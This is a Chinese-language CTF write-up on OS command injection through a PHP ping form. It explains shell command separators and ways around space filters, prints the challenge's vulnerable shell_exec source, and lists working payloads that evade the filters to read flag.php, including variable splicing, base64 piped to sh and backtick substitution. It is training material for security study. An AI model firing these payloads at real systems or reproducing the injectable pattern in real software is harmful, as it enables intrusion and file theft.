相关内容
命令连接符
-
; (分号)
命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。
-
|(管道符)
通过管道符可以将一个命令的标准输出管道为另外一个命令的标准输入。当第一条命令失败时,它仍然会执行第二条命令
-
&&(逻辑与)
前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后面的命令才被执行
-
||(逻辑或)
前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,它后面的命令才被执行
-
` ( 反引号)
反引号在linux中起到的是命令替换的作用,
命令置换是指shell能够将一个命令的标准输出插在一个命令行中任何位置[root@localhost ~]# echo my file `ls` my file Desktop 公共 模板 视频 图片 文档 下载 音乐 桌面
-
$(command)
$()和 `` 是等价的。当反引号被过滤或编码时,可能会更有效
eg:echo my file $(ls)
[root@localhost ~]# echo my file $(ls)
my file Desktop 公共 模板 视频 图片 文档 下载 音乐 桌面
-
空格绕过
空格绕过一般是:
$IFS ${IFS} $IFS$1//1可以换为任意数字 < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09
解题
-
先试试利用管道符拼接命令并执行
-
尝试读取index.php
payload:?ip=127.0.0.1|cat index.php
空格被过滤了
用 $IFS
试试绕过,不行,用${IFS}
发现{}被ban。再试$IFS$1
成功
index.php源码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
从源码中可以看出过滤了许多标点,空格,bash,包括flag的贪婪匹配
以下方法就行不通了
1.cat fl* 利用*匹配任意 不行
2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
3.ca\t fl\ag.php 不行
4.cat fl''ag.php 不行
-
解决办法
-
变量拼接
payload:?ip=127.0.0.1|$a=g|cat$IFS$1fla$a.php
-
用sh替代bash,sh的大部分脚本都可以在bash下运行。
payload:?ip=127.0.0.1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh -
内联执行
payload:?ip=127.0.0.1|cat$IFS$9`ls`
-